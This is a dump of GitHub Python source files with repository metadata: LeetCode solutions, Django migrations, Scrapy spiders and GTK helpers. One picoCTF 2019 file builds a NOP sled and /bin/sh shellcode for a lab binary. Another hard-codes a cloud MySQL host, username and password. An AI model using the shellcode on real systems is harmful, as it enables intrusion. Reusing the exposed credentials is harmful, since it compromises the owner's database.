e57f3966a9d9a9ff011be89d95a3af59648e08d8 | fc0eda8560a26c88b790d236070ed0559d0dc4a4 | /leetcode/basicDS06_tree/b03_lc654_maximum_binary_tree.py | 2e6bad124dcd6d0953d2e52293203245f5284c18 | [] | no_license | pankypan/DataStructureAndAlgo | b4bd417a16cdb594bbed2ca0220dbd63eb60f3c1 | 6c5d40d57d378994236549f8dea906c75121eadf | refs/heads/master | 2021-08-03T01:22:08.442709 | 2021-07-19T14:56:44 | 2021-07-19T14:56:44 | 279,599,190 | 4 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,102 | py | # https://leetcode-cn.com/problems/maximum-binary-tree/
from typing import List
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution:
def __init__(self):
self.nums = list()
def get_max_index(self, start_i: int, end_i: int)... | [
"1356523334@qq.com"
] | 1356523334@qq.com |
7e337fa7519637972dcc9513bffb22bad84270b0 | 99aab5c2a40f8e146479dbd8778a2d52a8d4b8dc | /debug_ques_3.py | 1fb58213603fae7f7fd851ce581f3768c5411853 | [] | no_license | poojasingh1995/MOREEXERCISE | 2d76f12d7db432342590d652521214f5459711c0 | a15aff39c47f6d6df695c553010ec02c2a4a2cca | refs/heads/main | 2023-06-12T21:45:51.351342 | 2021-07-14T11:15:22 | 2021-07-14T11:15:22 | 385,912,203 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,833 | py | def find_in_list(query, mainlist):
mainlist_len = len(mainlist)
range_for_loop = range(mainlist_len)
index = None
for i in range_for_loop:
element = mainlist[i]
if element == query:
index = i
return i
chars = ['a','b','c','d','e','f','g','h','i','j','k','l','m','... | [
"noreply@github.com"
] | poojasingh1995.noreply@github.com |
2573fbab9513ee871a79634eac860103fd0bb8ca | c90495e7698a799dc129f3ac7be3441df2a24a3d | /picoctf/picoctf2019/binary/slippery-shellcode/sh2.py | 8f46ce7a84faaf060d3ef038c8e6f3b82947ecb7 | [] | no_license | xuan2261/ctf | 1581fd46d0f1c2a0e12baf9e20b04fe3f5d29744 | 0dbce162c33263c73edf3114914abea2f30db37c | refs/heads/master | 2022-12-04T02:50:46.559427 | 2020-08-28T07:38:58 | 2020-08-28T07:38:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 342 | py |
# save script in home directory /~
# run script from the slippery-shellcode directory
# python ~/p.py | ./vuln
NOP = "\x90" * 400
shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
p... | [
"classicunix@gmail.com"
] | classicunix@gmail.com |
3aa76ffd63db7e4119c43176ad09db9b1e17cf92 | da7ba5573a9ad5e44f8efb0d7f00ab9295dbae13 | /test2/movie/migrations/0004_auto_20190508_0711.py | 8a3f46654af977161cc4e446f517c0b83d899011 | [] | no_license | wangxuanlin/linux111 | 6d60bd24a75a89d8d9d3d1ba74133e85f725b516 | 76e15d9446cc681059569b6b0a15b12b283b228b | refs/heads/master | 2022-02-02T08:23:04.254504 | 2019-07-05T09:26:14 | 2019-07-05T09:26:14 | 177,509,428 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 482 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.20 on 2019-05-08 07:11
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('movie', '0003_auto_20190507_0849'),
]
operations = [
migrations.AlterField... | [
"admin@wangxuanlin.local"
] | admin@wangxuanlin.local |
10cacc066be6617ba6ef42034c5bbce30fd7c0f6 | 02d1d89ed3c2a71a4f5a36f3a19f0683a0ae37e5 | /gui/foo/foo/helpers.py | 3ad33e658cdd47155da1a8571451f9b9f30a4ff1 | [] | no_license | lforet/robomow | 49dbb0a1c873f75e11228e24878b1e977073118b | eca69d000dc77681a30734b073b2383c97ccc02e | refs/heads/master | 2016-09-06T10:12:14.528565 | 2015-05-19T16:20:24 | 2015-05-19T16:20:24 | 820,388 | 11 | 6 | null | null | null | null | UTF-8 | Python | false | false | 918 | py | # -*- coding: utf-8 -*-
### BEGIN LICENSE
# This file is in the public domain
### END LICENSE
"""Helpers for an Ubuntu application."""
__all__ = [
'make_window',
]
import os
import gtk
from foo.fooconfig import get_data_file
import gettext
from gettext import gettext as _
gettext.textdomain('foo')
def get... | [
"lforet@VMUb104nb32.(none)"
] | lforet@VMUb104nb32.(none) |
9e5bc8ea425225bd8fd3614d92049ac2d4ca9c84 | 2bc8d54ca2db5c3e292eac0bd3c55e2322aff1a2 | /album.py | e76f3654aba253548da5d14cf0142c40a17744c8 | [] | no_license | SammyJoskey/Album_server_tort | d528955eaf578d40a719f2230c5dde19a031dba0 | ad2a5b6afc8103c7976cee9659264860eec3483c | refs/heads/master | 2020-09-11T11:01:52.994879 | 2019-11-16T03:49:11 | 2019-11-16T03:49:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,019 | py | import sqlalchemy as sa
from sqlalchemy.orm import sessionmaker
from sqlalchemy.ext.declarative import declarative_base
DB_PATH = "sqlite:///albums.sqlite3"
Base = declarative_base()
class Album(Base):
"""
Описывает структуру таблицы album для хранения записей музыкальной библиотеки
"""
... | [
"noreply@github.com"
] | SammyJoskey.noreply@github.com |
d38891adee6974076d9d9ce77f2f863dc646f125 | fe19d2fac4580d463132e61509bd6e3cc2cf958d | /direct/distributed/ParentMgr.pyc.py | ff07f655ba0d007a9501f9565880fc15a35116ed | [] | no_license | t00nt0wn1dk/c0d3 | 3e6db6dd42c3aa36ad77709cf9016176a3f3a44f | 7de105d7f3de0f8704b020e32fd063ee2fad8d0d | refs/heads/master | 2021-01-01T16:00:15.367822 | 2015-03-21T21:25:52 | 2015-03-21T21:25:55 | 32,647,654 | 3 | 5 | null | null | null | null | UTF-8 | Python | false | false | 3,588 | py | # 2013.08.22 22:14:09 Pacific Daylight Time
# Embedded file name: direct.distributed.ParentMgr
from direct.directnotify import DirectNotifyGlobal
from direct.showbase.PythonUtil import isDefaultValue
import types
class ParentMgr():
__module__ = __name__
notify = DirectNotifyGlobal.directNotify.newCategory('Par... | [
"anonymoustoontown@gmail.com"
] | anonymoustoontown@gmail.com |
6d254711fd27acbd4b96f4a8d2a241f1d3f2a31a | b4f8c4789dfa9110d1d7907da5aefb7704d37f69 | /q8.py | e39e16bba3a7f861f124aff01f98474b0fda114e | [] | no_license | DeSales-Code-Jam-2020/code-jam2020-JordandEntremont | 118cf52bb5987573e383d82543d2823acaff81c7 | 3c15a988b6a27a0c0ac7981711a4abb558e49c1d | refs/heads/master | 2023-01-01T23:47:20.832394 | 2020-10-24T18:09:51 | 2020-10-24T18:09:51 | 306,923,399 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 280 | py | def main(int1, int2, int3, int4, int5, int6, int7, int8):
return ""
if __name__ == "__main__":
print(
main(
# just trust me don't touch this - Jake Gadaleta
*map(lambda x: int(x), input("Input: ").strip().split(" "))
)
) | [
"66690702+github-classroom[bot]@users.noreply.github.com"
] | 66690702+github-classroom[bot]@users.noreply.github.com |
ba6fe39e48cfdfebaca8e32ce5d1d8c059b308bd | 2f254710e5e283c4d294609db30fd4e6e0df00da | /hw4_part1/locators.py | 7ed882fe3190f61e8411c1e0469b395f222b2955 | [] | no_license | Silberlightning/stepik_test_automatization | 58617b5e2d22b3fc101df92ee9f540da0577c61d | 240154fcdad85c85de6b85bb0bb26dd696e27f95 | refs/heads/master | 2022-12-29T06:41:55.768392 | 2020-10-16T07:01:28 | 2020-10-16T07:01:28 | 296,555,561 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 187 | py | link = "http://selenium1py.pythonanywhere.com"
search_input = "//input[@type='search']"
search_text ="tattoo"
button_search = "input.btn.btn-default"
button = "//button[@type='submit']"
| [
"spogulit@gmail.com"
] | spogulit@gmail.com |
f7b6a2f605040d7e8a54563e526b8fb4116d6709 | 73898b07671733fed85149f4c4280972ac9a32e5 | /reading_parameters.py | 5f80a4b2540a71be911ccb1715e6597cd269b093 | [] | no_license | yhb8r4/iSpiEFP_Database_Search_Engine | bf94bd6db970e449c7fa7fcb1f935301f6007949 | d702f420fa5833d012fc9a68af7ed3953f876132 | refs/heads/master | 2020-03-17T15:41:17.928658 | 2018-05-15T23:03:22 | 2018-05-15T23:03:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,831 | py |
# coding: utf-8
# In[3]:
import datetime
import sys
import mysql
import mysql.connector
db = mysql.connector.connect(host="ssi-db.cllylwkcavdc.us-east-2.rds.amazonaws.com",
user="lslipche",
passwd="29221627",
db="SSI_test")
cur = db.cursor(... | [
"jcheoh@purdue.edu"
] | jcheoh@purdue.edu |
81fc1f0cf7bd713acd89b9c9ac98598da2f45ba8 | 49ed844c2f132e0bc64b3e1b7499823d0e173dc0 | /code/DataConverter.py | d040ed44bb11f562004d053c11254cee1be9cfb7 | [] | no_license | chihming/DataTransformer | 6f6c3c465e5f2c9d0718b169fc9a872342b07552 | 030ae1db018cdc6cda6ac13d2c47071ea89d131f | refs/heads/master | 2020-12-30T09:57:47.910862 | 2017-03-08T08:21:35 | 2017-03-08T08:21:35 | 26,474,964 | 3 | 4 | null | null | null | null | UTF-8 | Python | false | false | 12,077 | py | from code.FeatureMaker import FeatureMaker
from code.Encoder import Encoder
from random import shuffle
from collections import defaultdict
class DataConverter:
logger = None
fmaker = None
encoder = Encoder()
def DumpMapping(self, mfile):
self.encoder.dump_map(mfile)
def __init__(self, log... | [
"changecandy@gmail.com"
] | changecandy@gmail.com |
675c71140cbfcee82e787b7f764cf0d7d3aed625 | 102b3420849d7d60c023714002fd44368baef40a | /firstPy/数据挖掘/first.py | 664e8cb4699446349408e643d78fe499ea65cb1d | [] | no_license | cash2one/python_code | d5a13e8b7c875a6922de3c9649305d77e792c7d8 | 2513a1b6152f4b6e6c9d9c66983d2b70658d4118 | refs/heads/master | 2021-01-13T03:45:55.847571 | 2016-08-26T08:44:24 | 2016-08-26T08:44:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,538 | py | #ecoding:utf8
import urllib2
url = 'http://aima.cs.berkeley.edu/data/iris.csv'
#u = urllib2.urlopen(url).read()
dir = '/Users/bjhl/Documents/data_mining/'
filename = 'iris.csv'
# with open(dir+filename,'w') as fw:
# fw.write(u)
# fw.flush()
#print u
from numpy import genfromtxt, zeros
#read the first 4 columns... | [
"bjhl@WHYF-2788.local"
] | bjhl@WHYF-2788.local |
7bd52c55aa838536139a4338c6a12b2e5810d847 | 52052b8f513b64b62a115b1de1f1727398fa9e77 | /zip.py | 356a2745ca342e5f76aa9593554a9e55d1d07b39 | [] | no_license | vlakhani28/Python-Learn | eb22a2209307f7ac8725e8a70c14eca860c3bcea | 4785544384432c7cf42de96f5b865d3948b9fb7b | refs/heads/master | 2020-11-26T09:22:44.868343 | 2019-12-30T05:06:10 | 2019-12-30T05:06:10 | 226,358,656 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 69 | py | a = ("Hi","Bye")
b = ("VL","Meet you","Soon")
print(tuple(zip(a,b)))
| [
"noreply@github.com"
] | vlakhani28.noreply@github.com |
9a4bf24da3b560bcf2a827254ecb212a9cd43d22 | d8083b945e1527f66ecdd321961a4453b8f068b1 | /swagger_server/models/inline_response200.py | 0a9b6d202cdaad66150263d15a2dbda6465c2745 | [
"Apache-2.0"
] | permissive | SJoshua/Time-Capsule-Post-2019-API | 762fcbb97071b1ee07095f1619242198e789a014 | 0e613c71c8e1adf0521ddcc4ff9bde2fd8f39193 | refs/heads/master | 2020-09-24T09:55:57.172383 | 2019-12-04T14:39:18 | 2019-12-04T14:39:18 | 225,734,275 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,726 | py | # coding: utf-8
from __future__ import absolute_import
from datetime import date, datetime # noqa: F401
from typing import List, Dict # noqa: F401
from swagger_server.models.base_model_ import Model
from swagger_server import util
class InlineResponse200(Model):
"""NOTE: This class is auto generated by the s... | [
"JoshuaSRKF@gmail.com"
] | JoshuaSRKF@gmail.com |
f6956a6c75f50380e9dd6207ef59e2de012eb3a2 | 1d88bd336207a12d527ecdff4291ec228de21ed4 | /rangoapp/urls.py | 907a2ffc44651be5ef6b2ad5482ec7ca25651331 | [] | no_license | fonque/rango | 954e5944c4ac17ec9b75852333a1d38a1b6789e3 | 2038c6dbc1130e21ee0e12ab5f218b1896126149 | refs/heads/master | 2021-01-22T23:48:09.552799 | 2014-04-08T13:10:50 | 2014-04-08T13:10:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 198 | py | from django.conf.urls import patterns, url
from rangoapp import views
urlpatterns = patterns('',
url(r'^$', views.index, name='index'),
url(r'^about/', views.about, name='about'),
) | [
"fonque@gmail.com"
] | fonque@gmail.com |
a9a26c07e3165bc9c40e52bc1c5abc22f7313e9e | 57bd9124c070a25a649a8859f010ec26216c4535 | /utils/reflection_counter/prep_stills_image.v5-1.py | c19a227a75bf74d1e83457067b6047e3df70c409 | [
"Apache-2.0"
] | permissive | beamline-i24/Serial_processing_scripts | 522812b2964cbaa5a2fe3c0a6483df5cb691af0e | ca97e3cd7ba991636171eafa126dc6e1aa4c53cc | refs/heads/master | 2020-03-21T05:56:28.491220 | 2018-06-28T22:41:52 | 2018-06-28T22:41:52 | 138,189,548 | 0 | 0 | Apache-2.0 | 2018-06-28T22:41:53 | 2018-06-21T15:32:51 | Python | UTF-8 | Python | false | false | 8,846 | py | #modules
import pandas as pd
import numpy as np
import math as m
import timeit
import itertools
from cctbx import miller
from cctbx import crystal
import matplotlib.pyplot as plt
import pylab
import re
#my modules
import xtal_trig_1 as trig
import unit_cell_check as check
import space_group as sp
import pdb_header_scr... | [
"web66492@i24-ws006.diamond.ac.uk"
] | web66492@i24-ws006.diamond.ac.uk |
52f01d36054ae48e366e154ca30c5a2e6398678b | acf7422d7e30b4fab49870a6db60952799edc52b | /network/TNRnet.py | ec7274cbf048ebd096db6a0801ee66f17a86b2b8 | [
"MIT"
] | permissive | sailfish009/IsoTensor | 361832b3ccd47f2cf190c960594b6df5927284c7 | aa797678fc16071667dd0255c42bf0b925ad09dc | refs/heads/master | 2023-08-15T10:06:14.601510 | 2021-10-05T05:06:39 | 2021-10-05T05:06:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,346 | py | import sys
sys.path.append("..")
import torch
from lib import functional as func
from layer import TNRlayer
class TNRNet(torch.nn.Module):
r"""A standard TNR coarse-graining network.
"""
def __init__(self, chi_HV, chi_list=(8,8,8,8), dtype=torch.double, totlv=8):
super().__init__()
self.chi... | [
"xwkgch@gmail.com"
] | xwkgch@gmail.com |
559577f8d534401d2b86283e76bc7d558264b5d0 | da67476dcc50c8a2f55b4be3ce6db0daf6a6f86c | /esl/mathematics/variable.py | 53a7e3b92ee378929a0f5d7c9c269d371736b560 | [
"Apache-2.0"
] | permissive | fagan2888/ESL | 82a9add84023500a5d290f8f7304f9d670c0d0d9 | 24ffa903e8c5b9e725eed9861623d4b6a4a205a2 | refs/heads/master | 2022-04-17T12:41:22.337750 | 2020-04-16T03:24:28 | 2020-04-16T03:24:28 | 256,305,955 | 1 | 0 | Apache-2.0 | 2020-04-16T19:08:21 | 2020-04-16T19:08:21 | null | UTF-8 | Python | false | false | 26 | py |
class Variable:
pass | [
"scholl.maarten@gmail.com"
] | scholl.maarten@gmail.com |
567283eb0c088b1d94bef402441630ff0a7f61db | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_1/511.py | d2093e878861721d76b87fb1d507304ffdd37355 | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,971 | py | import os
def CommandLineOperations(argv):
"""
Main method for reading argument from command prompt,
read file with input data, process data and write result in output file
argv command prompt arguments
"""
outputFile = "result.out"
inputFile = None
scriptName = argv[0]
del argv[0]
tr... | [
"miliar1732@gmail.com"
] | miliar1732@gmail.com |
99c671a7ef02afe8c18f1b85bef3164626b2ca22 | 8d5826a8d2737dab73f1113de4666ff92b9da891 | /accounts/migrations/0010_auto_20200506_1504.py | 6e5da8fb78af7e462e6d4370c043cba354d1b81f | [] | no_license | ShubhamDev-AI/instagram-clone | 972ef651cbedf1996b47f7d28aa9f6219394068d | 09e07b0f6377b848fa75bd5dc623efa98d759559 | refs/heads/master | 2022-12-27T03:11:02.839995 | 2020-10-14T20:08:13 | 2020-10-14T20:08:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 423 | py | # Generated by Django 3.0.6 on 2020-05-06 15:04
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('accounts', '0009_auto_20200506_1105'),
]
operations = [
migrations.AlterField(
model_name='user',
name='profile',
... | [
"michel3153@gmail.com"
] | michel3153@gmail.com |
33eef287fd949381adf9601eda626568e80258da | 00b9d05d36e403aafe33becfd738bedb4e6927ae | /Day3/ProcessFileLogger.py | d332c117716da51bd887c4dc9cbc9d1297ca2218 | [] | no_license | ShahUjval/Python | 9383b2b4f5c519096a4496db3862d1adaffc2ea2 | e49d9f148a08b8e8bd8e5d58aa5c2b9ee1984523 | refs/heads/master | 2021-01-20T20:18:06.616409 | 2016-06-03T09:37:38 | 2016-06-03T09:37:38 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 267 | py | import logging
import multiprocessing
#application wide logger important
base = logging.getLogger('a')
base.setLevel(logging.DEBUG)
fh = logging.FileHandler('a.log')
fh.setFormatter(logging.Formatter('%(asctime)s : %(name)s :%(message)s'))
#base.handlers | [
"shah.ujval@gmail.com"
] | shah.ujval@gmail.com |
f8a12215603653794aa51726f6069f9f2f908477 | fe650dd66d75df46005d255822da7c303619ba3f | /backend/app.py | 6d21f1cb1acec16e4664eb0d831b6ef20c13fb4c | [] | no_license | Ines923/FireApp2.0 | 55e654b54c7642466b9b63e600574fd22a206d57 | 5b71a81edbaf3bbb273492705d48251f2baa64ac | refs/heads/main | 2023-03-20T19:42:18.395281 | 2021-03-16T06:45:37 | 2021-03-16T06:45:37 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,005 | py | import os
from flask import Flask
from flask_cors import CORS
from backend.controllers import *
# Register the application
app = Flask(__name__)
# TODO: Tech Debt
# - CORS Should be specified at the host level per environment, not a global free-for-all.
CORS(app)
# Register all controllers individually
app.registe... | [
"michaelb@altis.com.au"
] | michaelb@altis.com.au |
8fa0640a76846060127216e2e48716869c809a01 | 7f1c329bde20e0ee54a014ce0abcbf2c6f68d33e | /Flask/Blog/user/routes.py | 82776b92d5b3d736c0b2869b0fc4ff6370b98b84 | [
"MIT"
] | permissive | LieonShelly/PythonFun | 9a068c18efb4c98deef2bc1e7792c4b487c22f0c | 811760d368885109f9359c2663d8ce74886f6ad6 | refs/heads/master | 2020-03-30T16:54:29.799783 | 2018-12-25T09:13:53 | 2018-12-25T09:13:53 | 151,432,590 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,672 | py | from flask import Flask, render_template, Response, redirect, flash, url_for, request, abort, Blueprint
from flask_login import current_user, login_user, logout_user, login_required, logout_user
from Blog.user.forms import RegistrationForm, LoginForm, UpdateAccountForm, RequestResetForm, ResetPasswordForm
from Blog.pos... | [
"lieoncx@gmail.com"
] | lieoncx@gmail.com |
2bfb230ec6c964e505ddc8777dd74a8e5934253d | efcd21234f3291e8fc561f49a7c88fc57a63e952 | /tests/functional/coercers/test_coercer_list_non_null_int_field.py | 121bc4466cfd5f6984311669f1d13c78caf1299a | [
"MIT"
] | permissive | tartiflette/tartiflette | 146214a43847d2f423bf74594643c1fdefc746f1 | 421c1e937f553d6a5bf2f30154022c0d77053cfb | refs/heads/master | 2023-09-01T02:40:05.974025 | 2022-01-20T14:55:31 | 2022-01-20T14:55:31 | 119,035,565 | 586 | 39 | MIT | 2023-09-11T07:49:27 | 2018-01-26T09:56:10 | Python | UTF-8 | Python | false | false | 18,253 | py | import pytest
from tests.functional.coercers.common import resolve_list_field
@pytest.mark.asyncio
@pytest.mark.ttftt_engine(
name="coercion",
resolvers={"Query.listNonNullIntField": resolve_list_field},
)
@pytest.mark.parametrize(
"query,variables,expected",
[
(
"""query { listNo... | [
"raulic.maximilien@gmail.com"
] | raulic.maximilien@gmail.com |
5791616a8a1e7dcf5a07fcf0815db7cdc553d58f | 5496690d32082ab03cde34f773250ea2e985389a | /lib/cleanup.py | 33c2ccf6b8b73942bec8665b2dcdb8289548e48e | [
"MIT"
] | permissive | akshayah3/retriever | 3dbbc586ef983f47f48bde5913cd16e6c760da57 | 00bcaae301bf3636a261498f92f0b86c89232bfe | refs/heads/master | 2021-01-17T21:49:22.572745 | 2015-03-11T13:00:14 | 2015-03-11T13:00:14 | 32,079,469 | 0 | 0 | null | 2015-03-12T13:50:10 | 2015-03-12T13:50:10 | null | UTF-8 | Python | false | false | 746 | py | def correct_invalid_value(value, args):
"""This cleanup function replaces null indicators with None."""
try:
if value in [item for item in args["nulls"]]:
return None
if float(value) in [float(item) for item in args["nulls"]]:
return None
return value
... | [
"ben@bendmorris.com"
] | ben@bendmorris.com |
9aef24d3278c40b5258428b9026a9b8bebb8da91 | b32f7acad62ac8c7daeac729a79a25e887698fb0 | /main.py | 38ce077804b97c66bd110cbe4b24ed77a589fab1 | [] | no_license | gauravsuryagandh/qbox_pivot | 173db153bf2cb5b6b3c9781ef24531ae96860f4f | 629abeec1440200554ad00645f7b573a82e78a23 | refs/heads/master | 2020-03-19T01:45:02.860841 | 2018-05-31T16:55:54 | 2018-05-31T16:55:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 794 | py | #!/usr/bin/python
#system wide imports
import os
import sys
#local imports
import utils
################################################################################
# Function : main()
# Main routine for the entire program. This is where the program gets started
################################################... | [
"gaurav.suryagandh@gmail.com"
] | gaurav.suryagandh@gmail.com |
db5bb3b990389bd21500fc823b8084ab408db73d | 65311c6b01fe056021b815f62f3723f5b52a3251 | /realestate/spiders/vandewater.py | 501b7ba29fefd8949010e4dc7ee43221b2c0a645 | [] | no_license | velibor7/real_estate_nt | 98e31e06ffaecfe8fdbf960fd7a6f259a1f8f41e | c470e47ec160d83436e5f845674ecc9ef63e9cfa | refs/heads/master | 2023-02-09T10:36:36.261055 | 2021-01-03T18:58:52 | 2021-01-03T18:58:52 | 326,479,570 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,213 | py | import scrapy
from ..items import RealestateItem
class VandewaterSpider(scrapy.Spider):
name = 'vandewater'
start_urls = ['https://vandewatergroep.nl/bestaande-woningen/#q1bKzs8vyCgtLVKyAjOVdMBUQVFmVrGSVbVSbmIFUMbI3NTAwECpVkcpvygltSipEihWXJJYUlpslVicrFQLAA/']
def parse(self, response):
for href i... | [
"veliborvasiljevic7@gmail.com"
] | veliborvasiljevic7@gmail.com |
e91d2e3690a2450a3223f4190a553e6b502a4342 | dbe5973d69df9c5a5f3b06b7451a0de7086ebda4 | /myapps/catalogue/views.py | 344f4fb57000ed997cba4f2d20828f35255ffc33 | [] | no_license | phares/mall | 29e7c0fdf3222a05161de36c8252167ab59df7be | d3f0093828c892ce46d55afaa245e5780555cc68 | refs/heads/master | 2021-01-22T23:53:27.535609 | 2017-04-30T09:17:53 | 2017-04-30T09:17:53 | 85,676,779 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,009 | py | from django.utils.translation import ugettext_lazy as _
from django.core.paginator import EmptyPage, InvalidPage
from oscar.apps.catalogue.views import CatalogueView
class BrandsView(CatalogueView):
"""
Browse all products by a brand in the catalogue
"""
def get(self, request, *args, **kwargs):
... | [
"cndeti@gmail.com"
] | cndeti@gmail.com |
1bdfb69445257f436469696d3a49af63019ffb14 | 12015a25b4aae78d8d12776a2244e8f6426cdae6 | /ArticleSpider/utils/common.py | f2b0d63bcd3b3caa2217a6a50abf9154cb2fe285 | [] | no_license | Hezier1223/ArticleSpider | 1947ffae7176e99a3ab9d6a9c3961b2bd3b5691a | 058587b3af25f2531316e8a1aaf0800494175795 | refs/heads/master | 2021-05-08T18:52:19.741073 | 2018-02-04T05:51:46 | 2018-02-04T05:51:46 | 119,539,819 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 277 | py | # Created by Max on 2/3/18
__author__ = 'Max'
import hashlib
def get_md5(url):
if isinstance(url, str):
url = url.encode('utf-8')
m = hashlib.md5()
m.update(url)
return m.hexdigest()
if __name__ == '__main__':
print(get_md5('http://baidu.com'))
| [
"arthur_zzh@126.com"
] | arthur_zzh@126.com |
3c31d12e488f49b753e915f610249d7d26a46a64 | 6d14de277ffc1d9d4637ca801c3bb95e46e6ad30 | /data/gen_data_copy.py | 2cf9917357362be877875b9c0a7e60e07bb7e486 | [
"BSD-3-Clause"
] | permissive | marcwww/pytorch-ntm | db7534b25a3709eedf5f9158c4bbca2032e28bcf | 29c015f8fb7e1f33b99f6a1763daa64238297113 | refs/heads/master | 2021-07-18T08:19:59.176628 | 2018-08-17T07:23:29 | 2018-08-17T07:23:29 | 132,915,671 | 0 | 0 | null | 2018-05-10T14:56:56 | 2018-05-10T14:56:56 | null | UTF-8 | Python | false | false | 1,421 | py | import torch
import random
from torch.autograd import Variable
import numpy as np
import params
import pickle
def gen(num_batches,
batch_size,
seq_width,
min_len,
max_len):
"""Generator of random sequences for the copy task.
Creates random batches of "bits" sequences.
All ... | [
"474733787@qq.com"
] | 474733787@qq.com |
789e6a6beda64793aed4cd190b26fef917ac5f1d | d13dfa83589ffdae4c6d43b0f6d678a1b0ac7a74 | /Advanced/use_zip.py | 2c551f3dadc2860db78ec7f4adb6d8d266f84ed1 | [] | no_license | aiden-dai/ai-python3 | fbe4926250415fd576d8dd659b28332265a62472 | 41af446e632dcb91625605022919d9ceeda09997 | refs/heads/master | 2021-01-01T02:23:15.524141 | 2020-07-26T07:47:20 | 2020-07-26T07:47:20 | 239,138,124 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 249 | py | from zipfile import ZipFile
import os
os.chdir('Data')
# Test archive
with ZipFile('test.zip', 'w') as myzip:
myzip.write('bank.csv', arcname='Bank.dat')
# Test extract
with ZipFile('test.zip', 'r') as myzip:
myzip.extractall(path='.')
| [
"aiden.dai@gmail.com"
] | aiden.dai@gmail.com |
757fed9d12e967d8249afc838ac03799bae3aab4 | 95761ba9ca92c9bf68f3fb88524ee01ddba9b314 | /api-web/src/www/application/modules/board_tag/handlers.py | 1d8c20aa814b1c2ce2b59d7ca971e6b8158c6e93 | [] | no_license | duytran92-cse/nas-workboard | 918adf4b976f04a13dc756f8dc32aecf397c6258 | bebe7674a7c6e8a3776264f18a3b7ca6b417dc7e | refs/heads/master | 2022-10-23T01:02:39.583449 | 2020-06-14T19:25:01 | 2020-06-14T19:25:01 | 272,268,882 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,321 | py | from django.contrib.humanize.templatetags.humanize import naturaltime
from notasquare.urad_api import *
from application.models import *
from application import constants
from application.modules.common import helpers
class List(handlers.standard.ListHandler):
def create_query(self, data):
query = BoardT... | [
"thanh.tran@etudiant.univ-lr.fr"
] | thanh.tran@etudiant.univ-lr.fr |
95603aa12d1bbc1868eb49a31aabadff865cf2f3 | 872846a41b967f0539ddd6c21d514ceea3f43e56 | /weibosearch/spiders/weibo.py | ed0aff107aab5757b69e75ef96219b6b78a0e4b3 | [] | no_license | wangjinliang1991/weibo_gupiao_scrapy_tushare | d3f414cbdb1f5526c07d499cd38f6dd8268683d3 | cd19620360d06d03bfa37e3a92808b8db706f5ac | refs/heads/master | 2020-04-02T05:47:57.885142 | 2018-10-22T23:29:37 | 2018-10-22T23:29:37 | 154,106,072 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,617 | py | # -*- coding: utf-8 -*-
import re
from urllib import response
from urllib.request import Request
from weibosearch.items import *
import scrapy
from scrapy import FormRequest, Spider
import tushare as ts
class WeiboSpider(scrapy.Spider):
name = 'weibo'
allowed_domains = ['weibo.cn']
search_url = 'https://w... | [
"632180350@qq.com"
] | 632180350@qq.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.